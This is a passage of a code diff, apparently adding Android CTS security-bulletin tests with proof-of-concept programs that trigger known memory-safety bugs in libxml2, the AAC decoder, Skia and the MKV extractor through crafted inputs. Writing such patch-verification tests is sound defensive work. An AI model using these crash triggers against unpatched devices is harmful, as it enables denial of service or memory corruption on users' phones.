+ include_dirs: [
+ "external/libxml2",
+ ],
+ shared_libs: [
+ "libxml2",
+ ],
+ cflags: [
+ "-DCHECK_UNDERFLOW",
+ ],
+}
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2018-9466/poc-CVE-2017-9047.c b/hostsidetests/securitybulletin/securityPatch/CVE-2018-9466/poc-CVE-2017-9047.c
new file mode 100644
index 0000000..ecfb842
--- /dev/null
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2018-9466/poc-CVE-2017-9047.c
@@ -0,0 +1,37 @@
+/**
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+#include "libxml.h"
+#include <libxml/xmlerror.h>
+#include <libxml/valid.h>
+#include <string.h>
+#define BUFFER_SIZE 64
+
+int main(void) {
+ char buf[BUFFER_SIZE];
+ xmlElementContent content;
+ content.type = XML_ELEMENT_CONTENT_ELEMENT;
+ content.prefix =
+ (const xmlChar *)"123456789012345678901234567890123456789012345678901234";
+ content.name =
+ (const xmlChar *)"123456789012345678901234567890123456789012345678901234";
+ content.ocur = XML_ELEMENT_CONTENT_PLUS;
+ content.c1 = NULL;
+ content.c2 = NULL;
+ content.parent = NULL;
+ memset(buf, 0, BUFFER_SIZE);
+ xmlSnprintfElementContent(buf, BUFFER_SIZE, &content, 1);
+ return EXIT_SUCCESS;
+}
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2018-9466/poc-CVE-2017-9048.c b/hostsidetests/securitybulletin/securityPatch/CVE-2018-9466/poc-CVE-2017-9048.c
new file mode 100644
index 0000000..0de95fa
--- /dev/null
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2018-9466/poc-CVE-2017-9048.c
@@ -0,0 +1,35 @@
+/**
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+#include "libxml.h"
+#include <libxml/xmlerror.h>
+#include <libxml/valid.h>
+#include <string.h>
+#define BUFFER_SIZE 64
+
+int main(void) {
+ char buf[BUFFER_SIZE];
+ xmlElementContent content;
+ content.type = XML_ELEMENT_CONTENT_ELEMENT;
+ content.prefix = (const xmlChar *)"1234567890123456789012345678901";
+ content.name = (const xmlChar *)"1234567890123456789012345678901";
+ content.ocur = XML_ELEMENT_CONTENT_PLUS;
+ content.c1 = NULL;
+ content.c2 = NULL;
+ content.parent = NULL;
+ memset(buf, 0, BUFFER_SIZE);
+ xmlSnprintfElementContent(buf, BUFFER_SIZE, &content, 1);
+ return EXIT_SUCCESS;
+}
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2018-9466/poc-CVE-2017-9049.c b/hostsidetests/securitybulletin/securityPatch/CVE-2018-9466/poc-CVE-2017-9049.c
new file mode 100644
index 0000000..8554acf
--- /dev/null
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2018-9466/poc-CVE-2017-9049.c
@@ -0,0 +1,40 @@
+/**
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+#include "libxml.h"
+#include <libxml/relaxng.h>
+#include <libxml/xmlerror.h>
+#include <libxml/valid.h>
+#include <libxml/xmlschemas.h>
+#include <libxml/xmlschemastypes.h>
+#include <string.h>
+
+static char *xmlPosixStrdup(const char *cur) {
+ return ((char *)xmlCharStrdup(cur));
+}
+
+int main(int argc, char **argv) {
+ if (argc != 2) {
+ return EXIT_FAILURE;
+ }
+ xmlGetWarningsDefaultValue = 0;
+ xmlPedanticParserDefault(0);
+ xmlGcMemSetup(free, malloc, malloc, realloc, xmlPosixStrdup);
+ xmlInitParser();
+ xmlSchemaInitTypes();
+ xmlRelaxNGInitTypes();
+ xmlReadFile(argv[1], NULL, XML_PARSE_OLD10);
+ return EXIT_SUCCESS;
+}
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2018-9537/Android.bp b/hostsidetests/securitybulletin/securityPatch/CVE-2018-9537/Android.bp
new file mode 100644
index 0000000..d1a4d1d
--- /dev/null
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2018-9537/Android.bp
@@ -0,0 +1,35 @@
+/*
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at:
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ *
+ */
+
+cc_test {
+ name: "CVE-2018-9537",
+ defaults: ["cts_hostsidetests_securitybulletin_defaults"],
+ srcs: [
+ "poc.cpp",
+ ":cts_hostsidetests_securitybulletin_memutils",
+ ],
+ include_dirs: [
+ "external/aac/libSYS/include",
+ "external/aac/libAACdec/include",
+ ],
+ shared_libs: [
+ "libbluetooth",
+ ],
+ cflags: [
+ "-DCHECK_OVERFLOW",
+ ],
+}
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2018-9537/poc.cpp b/hostsidetests/securitybulletin/securityPatch/CVE-2018-9537/poc.cpp
new file mode 100644
index 0000000..0ac9783
--- /dev/null
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2018-9537/poc.cpp
@@ -0,0 +1,204 @@
+/**
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+#include "aacdecoder_lib.h"
+#include <stdlib.h>
+#include <string.h>
+
+constexpr uint8_t kNumberOfLayers = 1;
+constexpr uint8_t kMaxChannelCount = 8;
+constexpr uint32_t kNumFillElements = 1200;
+constexpr uint32_t kMaxOutBufferSize = 2048 * kMaxChannelCount;
+
+constexpr unsigned char kAdtsHeader[] = {0xFF, 0xF1, 0x6C, 0x40,
+ 0x41, 0x00, 0x78};
+constexpr uint32_t kAdtsHeaderLength = sizeof(kAdtsHeader);
+
+constexpr unsigned char kFillElements[] = {0xC1, 0x83, 0x06, 0x0C,
+ 0x18, 0x30, 0x60};
+constexpr uint32_t kFillElementsLength = sizeof(kFillElements);
+
+constexpr unsigned char kAacStream[] = {
+ 0x00, 0xC8, 0x13, 0x83, 0xE8, 0x1B, 0xFF, 0xC4, 0x29, 0x69, 0x69, 0x69,
+ 0x69, 0x69, 0x69, 0x69, 0x69, 0x69, 0x69, 0x69, 0x69, 0x69, 0x69, 0x69,
+ 0x69, 0x69, 0x69, 0x69, 0x69, 0x69, 0x69, 0x69, 0x69, 0x69, 0x69, 0x69,
+ 0x69, 0x69, 0x69, 0x69, 0x69, 0x69, 0x69, 0x69, 0x69, 0x69, 0x69, 0x69,
+ 0x69, 0x69, 0x69, 0x69, 0x69, 0x69, 0x69, 0x69, 0x69, 0x69, 0x69, 0x69,
+ 0x69, 0x69, 0x69, 0x69, 0x69, 0x69, 0x69, 0x69, 0x69, 0x69, 0x69, 0x69,
+ 0x69, 0x69, 0x69, 0x69, 0x69, 0x69, 0x69, 0x69, 0x69, 0x69, 0x69, 0x69,
+ 0x69, 0x69, 0x69, 0x69, 0x69, 0x69, 0x69, 0x69, 0x69, 0x69, 0x69, 0x69,
+ 0x69, 0x69, 0x69, 0x69, 0x69, 0x69, 0x69, 0x69, 0x69, 0x69, 0x69, 0x69,
+ 0x69, 0x69, 0x69, 0x69, 0x69, 0x69, 0x69, 0x69, 0x69, 0x69, 0x69, 0x69,
+ 0x69, 0x69, 0x69, 0x69, 0x69, 0x69, 0x69, 0x69, 0x69, 0x69, 0x69, 0x69,
+ 0x69, 0x69, 0x69, 0x69, 0x69, 0x69, 0x69, 0x69, 0x69, 0x69, 0x69, 0x69,
+ 0x69, 0x69, 0x69, 0x69, 0x69, 0x69, 0x69, 0x69, 0x69, 0x69, 0x69, 0x69,
+ 0x69, 0x69, 0x69, 0x69, 0x69, 0x69, 0x69, 0x69, 0x69, 0x69, 0x69, 0x69,
+ 0x69, 0x69, 0x69, 0x69, 0x69, 0x69, 0x69, 0x69, 0x69, 0x69, 0x69, 0x69,
+ 0x69, 0x69, 0x69, 0x69, 0x69, 0x69, 0x69, 0x69, 0x69, 0x69, 0x69, 0x69,
+ 0x69, 0x69, 0x69, 0x69, 0x69, 0x69, 0x69, 0x69, 0x69, 0x69, 0x69, 0x69,
+ 0x69, 0x69, 0x69, 0x69, 0x69, 0x69, 0x69, 0x69, 0x69, 0x69, 0x69, 0x69,
+ 0x69, 0x69, 0x69, 0x69, 0x69, 0x69, 0x69, 0x69, 0x69, 0x69, 0x69, 0x69,
+ 0x69, 0x69, 0x69, 0x69, 0x69, 0x69, 0x69, 0x69, 0x69, 0x69, 0x69, 0x69,
+ 0x69, 0x69, 0x69, 0x69, 0x69, 0x69, 0x69, 0x69, 0x69, 0x69, 0x69, 0x69,
+ 0x69, 0x69, 0x69, 0x69, 0x69, 0x69, 0x69, 0x69, 0x69, 0x69, 0x69, 0x69,
+ 0x69, 0x69, 0x69, 0x69, 0x69, 0x69, 0x69, 0x69, 0x69, 0x69, 0x69, 0x69,
+ 0x77, 0xED, 0x88, 0x52, 0xD2, 0xD2, 0xD2, 0xD2, 0xD2, 0xD2, 0xD2, 0xD2,
+ 0xD2, 0xD2, 0xD2, 0xD2, 0xD2, 0xD2, 0xD2, 0xD2, 0xD2, 0xD2, 0xD2, 0xD2,
+ 0xD2, 0xD2, 0xD2, 0xD2, 0xD2, 0xD2, 0xD2, 0xD2, 0xD2, 0xD2, 0xD2, 0xD2,
+ 0xD2, 0xD2, 0xD2, 0xD2, 0xD2, 0xD2, 0xD2, 0xD2, 0xD2, 0xD2, 0xD2, 0xD2,
+ 0xD2, 0xD2, 0xD2, 0xD2, 0xD2, 0xD2, 0xD2, 0xD2, 0xD2, 0xD2, 0xD2, 0xD2,
+ 0xD2, 0xD2, 0xD2, 0xD2, 0xD2, 0xD2, 0xD2, 0xD2, 0xD2, 0xD2, 0xD2, 0xD2,
+ 0xD2, 0xD2, 0xD2, 0xD2, 0xD2, 0xD2, 0xD2, 0xD2, 0xD2, 0xD2, 0xD2, 0xD2,
+ 0xD2, 0xD2, 0xD2, 0xD2, 0xD2, 0xD2, 0xD2, 0xD2, 0xD2, 0xD2, 0xD2, 0xD2,
+ 0xD2, 0xD2, 0xD2, 0xD2, 0xD2, 0xD2, 0xD2, 0xD2, 0xD2, 0xD2, 0xD2, 0xD2,
+ 0xD2, 0xD2, 0xD2, 0xD2, 0xD2, 0xD2, 0xD2, 0xD2, 0xD2, 0xD2, 0xD2, 0xD2,
+ 0xD2, 0xD2, 0xD2, 0xD2, 0xD2, 0xD2, 0xD2, 0xD2, 0xD2, 0xD2, 0xD2, 0xD2,
+ 0xD2, 0xD2, 0xD2, 0xD2, 0xD2, 0xD2, 0xD2, 0xD2, 0xD2, 0xD2, 0xD2, 0xD2,
+ 0xD2, 0xD2, 0xD2, 0xD2, 0xD2, 0xD2, 0xD2, 0xD2, 0xD2, 0xD2, 0xD2, 0xD2,
+ 0xD2, 0xD2, 0xD2, 0xD2, 0xD2, 0xD2, 0xD2, 0xD2, 0xD2, 0xD2, 0xD2, 0xD2,
+ 0xD2, 0xD2, 0xD2, 0xD2, 0xD2, 0xD2, 0xD2, 0xD2, 0xD2, 0xD2, 0xD2, 0xD2,
+ 0xD2, 0xD2, 0xD2, 0xD2, 0xD2, 0xD2, 0xD2, 0xD2, 0xD2, 0xD2, 0xD2, 0xD2,
+ 0xD2, 0xD2, 0xD2, 0xD2, 0xD2, 0xD2, 0xD2, 0xD2, 0xD2, 0xD2, 0xD2, 0xD2,
+ 0xD2, 0xD2, 0xD2, 0xD2, 0xD2, 0xD2, 0xD2, 0xD2, 0xD2, 0xD2, 0xD2, 0xD2,
+ 0xD2, 0xD2, 0xD2, 0xD2, 0xD2, 0xD2, 0xD2, 0xD2, 0xD2, 0xD2, 0xD2, 0xD2,
+ 0xD2, 0xD2, 0xD2, 0xD2, 0xD2, 0xD2, 0xD2, 0xE0, 0x2B, 0xFF, 0xC4, 0x29,
+ 0x69, 0x69, 0x69, 0x69, 0x69, 0x69, 0x69, 0x69, 0x1B, 0xFF, 0xC4, 0x29,
+ 0x69, 0x69, 0x69, 0x69, 0x69, 0x69, 0x69, 0x69, 0x69, 0x69, 0x69, 0x69,
+ 0x69, 0x69, 0x69, 0x69, 0x69, 0x69, 0x69, 0x69, 0x69, 0x69, 0x69, 0x69,
+ 0x69, 0x69, 0x69, 0x69, 0x69, 0x69, 0x69, 0x69, 0x69, 0x69, 0x69, 0x69,
+ 0x69, 0x69, 0x69, 0x69, 0x69, 0x69, 0x69, 0x69, 0x69, 0x69, 0x69, 0x69,
+ 0x69, 0x69, 0x69, 0x69, 0x69, 0x69, 0x69, 0x69, 0x69, 0x69, 0x69, 0x69,
+ 0x69, 0x69, 0x69, 0x69, 0x69, 0x69, 0x69, 0x69, 0x69, 0x69, 0x69, 0x69,
+ 0x69, 0x69, 0x69, 0x69, 0x69, 0x69, 0x69, 0x69, 0x69, 0x69, 0x69, 0x69,
+ 0x69, 0x69, 0x69, 0x69, 0x69, 0x69, 0x69, 0x69, 0x69, 0x69, 0x69, 0x69,
+ 0x69, 0x69, 0x69, 0x69, 0x69, 0x69, 0x69, 0x69, 0x69, 0x69, 0x69, 0x69,
+ 0x69, 0x69, 0x69, 0x69, 0x69, 0x69, 0x69, 0x69, 0x69, 0x69, 0x69, 0x69,
+ 0x69, 0x69, 0x69, 0x69, 0x69, 0x69, 0x69, 0x69, 0x69, 0x69, 0x69, 0x69,
+ 0x69, 0x69, 0x69, 0x69, 0x69, 0x69, 0x69, 0x69, 0x69, 0x69, 0x69, 0x69,
+ 0x69, 0x69, 0x69, 0x69, 0x69, 0x69, 0x69, 0x69, 0x69, 0x69, 0x69, 0x69,
+ 0x69, 0x69, 0x69, 0x69, 0x69, 0x69, 0x69, 0x69, 0x69, 0x69, 0x69, 0x69,
+ 0x69, 0x69, 0x69, 0x69, 0x69, 0x69, 0x69, 0x69, 0x69, 0x69, 0x69, 0x69,
+ 0x69, 0x69, 0x69, 0x69, 0x69, 0x69, 0x69, 0x69, 0x69, 0x69, 0x69, 0x69,
+ 0x69, 0x69, 0x69, 0x69, 0x69, 0x69, 0x69, 0x69, 0x69, 0x69, 0x69, 0x69,
+ 0x69, 0x69, 0x69, 0x69, 0x69, 0x69, 0x69, 0x69, 0x69, 0x69, 0x69, 0x69,
+ 0x69, 0x69, 0x69, 0x69, 0x69, 0x69, 0x69, 0x69, 0x69, 0x69, 0x69, 0x69,
+ 0x69, 0x69, 0x69, 0x69, 0x69, 0x69, 0x69, 0x69, 0x69, 0x69, 0x69, 0x69,
+ 0x69, 0x69, 0x69, 0x69, 0x69, 0x69, 0x69, 0x69, 0x69, 0x69, 0x69, 0x69,
+ 0x69, 0x69, 0x69, 0x77, 0xED, 0x88, 0x52, 0xD2, 0xD2, 0xD2, 0xD2, 0xD2,
+ 0xD2, 0xD2, 0xD2, 0xD2, 0xD2, 0xD2, 0xD2, 0xD2, 0xD2, 0xD2, 0xD2, 0xD2,
+ 0xD2, 0xD2, 0xD2, 0xD2, 0xD2, 0xD2, 0xD2, 0xD2, 0xD2, 0xD2, 0xD2, 0xD2,
+ 0xD2, 0xD2, 0xD2, 0xD2, 0xD2, 0xD2, 0xD2, 0xD2, 0xD2, 0xD2, 0xD2, 0xD2,
+ 0xD2, 0xD2, 0xD2, 0xD2, 0xD2, 0xD2, 0xD2, 0xD2, 0xD2, 0xD2, 0xD2, 0xD2,
+ 0xD2, 0xD2, 0xD2, 0xD2, 0xD2, 0xD2, 0xD2, 0xD2, 0xD2, 0xD2, 0xD2, 0xD2,
+ 0xD2, 0xD2, 0xD2, 0xD2, 0xD2, 0xD2, 0xD2, 0xD2, 0xD2, 0xD2, 0xD2, 0xD2,
+ 0xD2, 0xD2, 0xD2, 0xD2, 0xD2, 0xD2, 0xD2, 0xD2, 0xD2, 0xD2, 0xD2, 0xD2,
+ 0xD2, 0xD2, 0xD2, 0xD2, 0xD2, 0xD2, 0xD2, 0xD2, 0xD2, 0xD2, 0xD2, 0xD2,
+ 0xD2, 0xD2, 0xD2, 0xD2, 0xD2, 0xD2, 0xD2, 0xD2, 0xD2, 0xD2, 0xD2, 0xD2,
+ 0xD2, 0xD2, 0xD2, 0xD2, 0xD2, 0xD2, 0xD2, 0xD2, 0xD2, 0xD2, 0xD2, 0xD2,
+ 0xD2, 0xD2, 0xD2, 0xD2, 0xD2, 0xD2, 0xD2, 0xD2, 0xD2, 0xD2, 0xD2, 0xD2,
+ 0xD2, 0xD2, 0xD2, 0xD2, 0xD2, 0xD2, 0xD2, 0xD2, 0xD2, 0xD2, 0xD2, 0xD2,
+ 0xD2, 0xD2, 0xD2, 0xD2, 0xD2, 0xD2, 0xD2, 0xD2, 0xD2, 0xD2, 0xD2, 0xD2,
+ 0xD2, 0xD2, 0xD2, 0xD2, 0xD2, 0xD2, 0xD2, 0xD2, 0xD2, 0xD2, 0xD2, 0xD2,
+ 0xD2, 0xD2, 0xD2, 0xD2, 0xD2, 0xD2, 0xD2, 0xD2, 0xD2, 0xD2, 0xD2, 0xD2,
+ 0xD2, 0xD2, 0xD2, 0xD2, 0xD2, 0xD2, 0xD2, 0xD2, 0xD2, 0xD2, 0xD2, 0xD2,
+ 0xD2, 0xD2, 0xD2, 0xD2, 0xD2, 0xD2, 0xD2, 0xD2, 0xD2, 0xD2, 0xD2, 0xD2,
+ 0xD2, 0xD2, 0xD2, 0xD2, 0xD2, 0xD2, 0xD2, 0xD2, 0xD2, 0xD2, 0xD2, 0xD2,
+ 0xD2, 0xD2, 0xD2, 0xD2, 0xD2, 0xD2, 0xD2, 0xD2, 0xD2, 0xD2, 0xE0, 0xE0};
+constexpr uint32_t kAacStreamLength = sizeof(kAacStream);
+
+class Codec {
+public:
+ Codec() = default;
+ ~Codec() { deInitDecoder(); }
+ bool initDecoder();
+ void decodeFrames(UCHAR *data, UINT size);
+ void deInitDecoder();
+
+private:
+ HANDLE_AACDECODER mAacDecoderHandle = nullptr;
+ AAC_DECODER_ERROR mErrorCode = AAC_DEC_OK;
+};
+
+bool Codec::initDecoder() {
+ mAacDecoderHandle = aacDecoder_Open(TT_MP4_ADTS, kNumberOfLayers);
+ if (!mAacDecoderHandle) {
+ return false;
+ }
+ return true;
+}
+
+void Codec::deInitDecoder() {
+ aacDecoder_Close(mAacDecoderHandle);
+ mAacDecoderHandle = nullptr;
+}
+
+void Codec::decodeFrames(UCHAR *data, UINT size) {
+ while (size > 0) {
+ UINT inputSize = size;
+ UINT valid = size;
+ mErrorCode = aacDecoder_Fill(mAacDecoderHandle, &data, &inputSize, &valid);
+ if (mErrorCode != AAC_DEC_OK) {
+ ++data;
+ --size;
+ } else {
+ INT_PCM outputBuf[kMaxOutBufferSize];
+ aacDecoder_DecodeFrame(mAacDecoderHandle, outputBuf, kMaxOutBufferSize, 0);
+ if (valid >= inputSize) {
+ return;
+ }
+ UINT offset = inputSize - valid;
+ data += offset;
+ size = valid;
+ }
+ }
+}
+
+int main() {
+ Codec *codec = new Codec();
+ if (!codec) {
+ return EXIT_FAILURE;
+ }
+
+ if (codec->initDecoder()) {
+
+ /* Allocate memory for bitstream buffer */
+ UINT rawDataSize = kAdtsHeaderLength + kAacStreamLength +
+ (kNumFillElements * kFillElementsLength);
+
+ UCHAR *rawData = (UCHAR *)malloc(rawDataSize);
+ if (!rawData) {
+ return EXIT_FAILURE;
+ }
+
+ /* Copy header, aac stream to bitstream buffer */
+ UCHAR *writePtr = rawData;
+ memcpy(writePtr, kAdtsHeader, kAdtsHeaderLength);
+ writePtr += kAdtsHeaderLength;
+
+ for (uint32_t i = 0; i < kNumFillElements; ++i) {
+ memcpy(writePtr, kFillElements, kFillElementsLength);
+ writePtr += kFillElementsLength;
+ }
+
+ memcpy(writePtr, kAacStream, kAacStreamLength);
+
+ /* Decode bitstream */
+ codec->decodeFrames(rawData, rawDataSize);
+ free(rawData);
+ }
+
+ delete codec;
+ return EXIT_SUCCESS;
+}
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2019-1988/Android.bp b/hostsidetests/securitybulletin/securityPatch/CVE-2019-1988/Android.bp
new file mode 100644
index 0000000..34d78b0
--- /dev/null
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2019-1988/Android.bp
@@ -0,0 +1,44 @@
+/*
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at:
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ *
+ */
+
+cc_test {
+ name: "CVE-2019-1988",
+ defaults: [
+ "cts_hostsidetests_securitybulletin_defaults",
+ "skia_deps",
+ ],
+ srcs: [
+ "poc.cpp",
+ ":cts_hostsidetests_securitybulletin_memutils",
+ ],
+ include_dirs: [
+ "external/skia/include/codec",
+ "external/skia/include/core",
+ "frameworks/native/libs/nativewindow/include",
+ "frameworks/native/libs/arect/include",
+ ],
+ shared_libs: [
+ "libhwui",
+ ],
+ static_libs: [
+ "libskia",
+ ],
+ cflags: [
+ "-DCHECK_OVERFLOW",
+ "-DENABLE_SELECTIVE_OVERLOADING",
+ ],
+}
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2019-1988/poc.cpp b/hostsidetests/securitybulletin/securityPatch/CVE-2019-1988/poc.cpp
new file mode 100644
index 0000000..9ba3c42
--- /dev/null
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2019-1988/poc.cpp
@@ -0,0 +1,78 @@
+/*
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+#include "SkAndroidCodec.h"
+#include "SkBitmap.h"
+#include "SkCanvas.h"
+#include "SkData.h"
+#include "SkSurface.h"
+
+#include "../includes/memutils.h"
+#include <fstream>
+#include <iostream>
+
+#define SAMPLE_SIZE 6
+char enable_selective_overload = ENABLE_NONE;
+
+int decode(sk_sp<SkData> bytes, uint8_t sampleSize) {
+ auto codec = SkAndroidCodec::MakeFromData(bytes);
+ if (!codec) {
+ return EXIT_FAILURE;
+ }
+
+ auto size = codec->getSampledDimensions(sampleSize);
+ auto info = SkImageInfo::MakeN32Premul(size);
+ SkBitmap bm;
+ if (!bm.tryAllocPixels(info)) {
+ return EXIT_FAILURE;
+ }
+
+ SkAndroidCodec::AndroidOptions options;
+ options.fSampleSize = sampleSize;
+
+ codec->getAndroidPixels(bm.info(), bm.getPixels(), bm.rowBytes(), &options);
+ return EXIT_SUCCESS;
+}
+
+int main(int argc, char **argv) {
+ if (argc != 2) {
+ return EXIT_FAILURE;
+ }
+ std::ifstream inFile(argv[1]);
+ if (!inFile) {
+ return EXIT_FAILURE;
+ }
+ inFile.seekg(0, inFile.end);
+ size_t size = inFile.tellg();
+ if (size < 1) {
+ inFile.close();
+ return EXIT_FAILURE;
+ }
+ inFile.seekg(0, inFile.beg);
+ uint8_t *data = (uint8_t *)malloc(size);
+ if (!data) {
+ return EXIT_FAILURE;
+ }
+ inFile.read(reinterpret_cast<char *>(data), size);
+ auto bytes = SkData::MakeWithoutCopy(data, size);
+ bytes = SkData::MakeSubset(bytes.get(), 1, size - 1);
+ enable_selective_overload = ENABLE_ALL;
+ int ret = decode(bytes, SAMPLE_SIZE);
+ enable_selective_overload = ENABLE_NONE;
+ inFile.close();
+ free(data);
+ return ret;
+}
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2019-2126/Android.bp b/hostsidetests/securitybulletin/securityPatch/CVE-2019-2126/Android.bp
new file mode 100644
index 0000000..baee6a9
--- /dev/null
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2019-2126/Android.bp
@@ -0,0 +1,40 @@
+/*
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at:
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ *
+ */
+
+cc_test {
+ name: "CVE-2019-2126",
+
+ defaults: ["cts_hostsidetests_securitybulletin_defaults"],
+
+ srcs: [
+ "poc.cpp",
+ ":cts_hostsidetests_securitybulletin_memutils_track",
+ ],
+
+ shared_libs: [
+ "libstagefright",
+ "libutils",
+ "liblog",
+ "libdatasource",
+ ],
+
+ cflags: [
+ "-Wall",
+ "-Werror",
+ "-DCHECK_MEMORY_LEAK",
+ ],
+}
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2019-2126/poc.cpp b/hostsidetests/securitybulletin/securityPatch/CVE-2019-2126/poc.cpp
new file mode 100644
index 0000000..45bec73
--- /dev/null
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2019-2126/poc.cpp
@@ -0,0 +1,128 @@
+/**
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+#include "../includes/common.h"
+#include "../includes/memutils_track.h"
+#include <datasource/DataSourceFactory.h>
+#include <dlfcn.h>
+#include <media/DataSource.h>
+#include <media/IMediaHTTPService.h>
+#include <media/stagefright/MediaExtractor.h>
+#include <sys/mman.h>
+
+unsigned char mkvDataStart[] = {
+ 0x1A, 0x45, 0xDF, 0xA3, 0x10, 0x00, 0x00, 0x0A, 0x42, 0x82, 0x10, 0x00,
+ 0x00, 0x04, 0x77, 0x65, 0x62, 0x6D, 0x18, 0x53, 0x80, 0x67, 0x10, 0xF4,
+ 0x24, 0x49, 0x16, 0x54, 0xAE, 0x6B, 0x10, 0xF4, 0x24, 0x41, 0xAE, 0x10,
+ 0xF4, 0x24, 0x3C, 0xD7, 0x81, 0x01, 0x83, 0x81, 0x01, 0xE0, 0x10, 0x00,
+ 0x00, 0x03, 0xB0, 0x81, 0x01, 0x6D, 0x80, 0x10, 0xF4, 0x24, 0x28, 0x62,
+ 0x40, 0x10, 0xF4, 0x24, 0x22, 0x50, 0x34, 0x10, 0xF4, 0x24, 0x19, 0x42,
+ 0x54, 0x81, 0x01, 0x42, 0x55, 0x10, 0xF4, 0x24, 0x00};
+
+unsigned char mkvDataEnd[] = {0x42, 0x55, 0x81, 0x61, 0x42, 0x54,
+ 0x88, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF,
+ 0xFF, 0xFF, 0xFF, 0x50, 0x35, 0x80};
+
+#define LIBNAME "/system/lib64/extractors/libmkvextractor.so"
+#define LIBNAME_APEX \
+ "/apex/com.android.media/lib64/extractors/libmkvextractor.so"
+
+#define LEAK_SIZE 16000000
+#define LEAK_DATA 0x61
+#define TMP_FILE "/data/local/tmp/temp_cve_2019_2126"
+
+using namespace android;
+
+bool is_tracking_required(size_t size) { return (size == LEAK_SIZE); }
+
+int main() {
+
+#if _64_BIT
+ GetExtractorDef getDef = nullptr;
+ FILE *fp = fopen(TMP_FILE, "wb");
+ if (!fp) {
